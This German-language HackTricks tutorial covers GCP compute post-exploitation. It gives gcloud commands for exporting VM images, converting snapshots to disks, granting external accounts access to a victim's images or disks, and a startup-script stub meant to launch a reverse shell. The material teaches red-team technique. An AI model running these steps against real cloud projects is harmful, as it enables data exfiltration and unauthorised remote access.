GCP - Compute Post Exploitation

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Compute

Für weitere Informationen zu Compute und VPC (Networking) siehe:

GCP - Compute Enum

Exportieren & Inspektieren von Bildern lokal

Dies würde einem Angreifer ermöglichen, auf die Daten in bereits vorhandenen Bildern zuzugreifen oder neue Bilder von laufenden VMs zu erstellen und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.

Es ist möglich, ein VM-Bild in einen Bucket zu exportieren und es dann herunterzuladen und lokal mit dem Befehl zu mounten:

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Um diese Aktion auszuführen, benötigt der Angreifer möglicherweise Berechtigungen für den Speicher-Bucket und auf jeden Fall Berechtigungen für cloudbuild, da es der Dienst ist, der aufgefordert wird, den Export durchzuführen.
Darüber hinaus müssen für das Funktionieren der Codebuild SA und der Compute SA privilegierte Berechtigungen vorhanden sein.
Die Cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benötigt:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Und die SA <project-id>-compute@developer.gserviceaccount.com benötigt:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

Exportieren & Überprüfen von Snapshots & Festplatten lokal

Es ist nicht möglich, Snapshots und Festplatten direkt zu exportieren, aber es ist möglich, einen Snapshot in eine Festplatte, eine Festplatte in ein Image zu transformieren und gemäß dem vorherigen Abschnitt dieses Image zu exportieren, um es lokal zu überprüfen.

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspect an Image creating a VM

Mit dem Ziel, auf die Daten, die in einem Image gespeichert sind oder innerhalb einer laufenden VM, von wo ein Angreifer ein Image erstellt hat, zuzugreifen, ist es möglich, einem externen Konto Zugriff auf das Image zu gewähren:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

und dann eine neue VM daraus erstellen:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Wenn Sie Ihrem externen Konto keinen Zugriff über das Image gewähren konnten, könnten Sie eine VM mit diesem Image im Projekt des Opfers starten und die Metadaten dazu bringen, eine Reverse-Shell auszuführen, um auf das Image zuzugreifen, indem Sie den Parameter hinzufügen:

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Überprüfen eines Snapshots/Disks, indem er an eine VM angehängt wird

Mit dem Ziel, auf die Daten, die auf einem Disk oder einem Snapshot gespeichert sind, zuzugreifen, könnten Sie den Snapshot in einen Disk, einen Disk in ein Image umwandeln und die vorherigen Schritte befolgen.

Oder Sie könnten einem externen Konto Zugriff auf den Disk gewähren (wenn der Ausgangspunkt ein Snapshot ist, gewähren Sie Zugriff auf den Snapshot oder erstellen Sie einen Disk daraus):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Hängen Sie die Festplatte an eine Instanz an:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Mounten Sie die Festplatte innerhalb der VM:

  1. SSH in die VM:
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifizieren Sie die Festplatte: Sobald Sie in der VM sind, identifizieren Sie die neue Festplatte, indem Sie die Festplattengeräte auflisten. Typischerweise finden Sie sie als /dev/sdb, /dev/sdc usw.
  2. Formatieren und Mounten der Festplatte (wenn es sich um eine neue oder rohe Festplatte handelt):
  • Erstellen Sie einen Mount-Punkt:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Mounten Sie die Festplatte:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Wenn Sie keinen Zugriff auf ein externes Projekt für den Snapshot oder die Festplatte gewähren können, müssen Sie möglicherweise diese Aktionen innerhalb einer Instanz im selben Projekt wie der Snapshot/die Festplatte durchführen.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks